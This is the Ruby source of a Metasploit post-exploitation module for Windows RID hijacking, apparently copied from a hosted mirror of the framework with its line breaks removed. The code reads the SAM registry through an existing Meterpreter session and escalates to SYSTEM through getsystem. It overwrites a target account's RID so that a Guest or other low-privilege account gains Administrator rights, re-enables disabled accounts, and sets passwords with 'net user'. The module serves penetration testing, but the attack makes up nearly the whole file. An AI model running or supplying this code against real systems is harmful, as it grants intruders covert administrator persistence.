Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/rid_hijack.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Post::Windows::Priv89def initialize10super(11'Name' => 'Windows Manage RID Hijacking',12'Description' => %q{13This module will create an entry on the target by modifying some properties14of an existing account. It will change the account attributes by setting a15Relative Identifier (RID), which should be owned by one existing16account on the destination machine.1718Taking advantage of some Windows Local Users Management integrity issues,19this module will allow to authenticate with one known account20credentials (like GUEST account), and access with the privileges of another21existing account (like ADMINISTRATOR account), even if the spoofed account is22disabled.23},24'License' => MSF_LICENSE,25'Author' => 'Sebastian Castro <sebastian.castro[at]cslcolombia.com>',26'Platform' => ['win'],27'SessionTypes' => ['meterpreter'],28'References' => [29['URL', 'http://csl.com.co/rid-hijacking/']30],31'Compat' => {32'Meterpreter' => {33'Commands' => %w[34priv_elevate_getsystem35]36}37})3839register_options(40[41OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false]),42OptBool.new('GUEST_ACCOUNT', [true, 'Assign the defined RID to the Guest Account.', false]),43OptString.new('USERNAME', [false, 'User to set the defined RID.']),44OptString.new('PASSWORD', [false, 'Password to set to the defined user account.']),45OptInt.new('RID', [true, 'RID to set to the specified account.', 500])46]47)48end4950def getsystem51results = session.priv.getsystem52if results[0]53return true54else55return false56end57end5859def get_name_from_rid(reg_key, rid, names_key)60names_key.each do |name|61skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", '')62rid_user = skey['Type']63return name if rid_user == rid64end65return nil66end6768def get_user_rid(reg_key, username, names_key)69names_key.each do |name|70next unless name.casecmp(username).zero?7172print_good("Found #{name} account!")73skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", '')74rid = skey['Type']75if !skey76print_error("Could not open user's key")77return -178end79return rid80end81return -182end8384def check_active(fbin)85if fbin[0x38].unpack('H*')[0].to_i != 1086return true87else88return false89end90end9192def swap_rid(fbin, rid)93# This function will set hex format to a given RID integer94hex = [format('%04x', rid).scan(/.{2}/).reverse.join].pack('H*')95# Overwrite new RID at offset 0x3096fbin[0x30, 2] = hex97return fbin98end99100def run101# Registry key to manipulate102reg_key = 'HKLM\\SAM\\SAM\\Domains\\Account\\Users'103104# Checks privileges of the session, and tries to get SYSTEM privileges if needed.105print_status('Checking for SYSTEM privileges on session')106if !is_system?107if datastore['GETSYSTEM']108print_status('Trying to get SYSTEM privileges')109if getsystem110print_good('Got SYSTEM privileges')111else112print_error('Could not obtain SYSTEM privileges')113return114end115else116print_error('Session is not running with SYSTEM privileges. Try setting GETSYSTEM ')117return118end119else120print_good('Session is already running with SYSTEM privileges')121end122123# Checks the Windows Version.124version = get_version_info125print_status("Target OS: #{version.product_name}")126127# Load the usernames from SAM Registry key128names_key = registry_enumkeys(reg_key + '\\Names')129unless names_key130print_error('Could not access to SAM registry keys')131return132end133134# If username is set, looks for it in SAM registry key135user_rid = -1136username = datastore['USERNAME']137if datastore['GUEST_ACCOUNT']138user_rid = 0x1f5139print_status('Target account: Guest Account')140username = get_name_from_rid(reg_key, user_rid, names_key)141else142if datastore['USERNAME'].to_s.empty?143print_error('You must set an username or enable GUEST_ACCOUNT option')144return145end146print_status('Checking users...')147user_rid = get_user_rid(reg_key, datastore['USERNAME'], names_key)148end149150# Result of the RID harvesting151if user_rid == -1152print_error('Could not find the specified username')153return154else155print_status("Target account username: #{username}")156print_status("Target account RID: #{user_rid}")157end158159# Search the Registry associated to the user's RID and overwrites it160users_key = registry_enumkeys(reg_key)161users_key.each do |r|162next if r.to_i(16) != user_rid163164f = registry_getvaldata(reg_key + "\\#{r}", 'F')165if check_active(f)166print_status('Account is disabled, activating...')167f[0x38] = ['10'].pack('H')168print_good('Target account enabled')169else170print_good('Target account is already enabled')171end172173print_status('Overwriting RID')174# Overwrite RID to specified RID175f = swap_rid(f, datastore['RID'])176177open_key = registry_setvaldata(reg_key + "\\#{r}", 'F', f, 'REG_BINARY')178unless open_key179print_error("Can't write to registry... Something's wrong!")180return -1181end182print_good("The RID #{datastore['RID']} is set to the account #{username} with original RID #{user_rid}")183end184# If set, changes the specified username's password185if datastore['PASSWORD']186print_status("Setting #{username} password to #{datastore['PASSWORD']}")187cmd = cmd_exec('cmd.exe', "/c net user #{username} #{datastore['PASSWORD']}")188vprint_status(cmd.to_s)189end190end191end192193194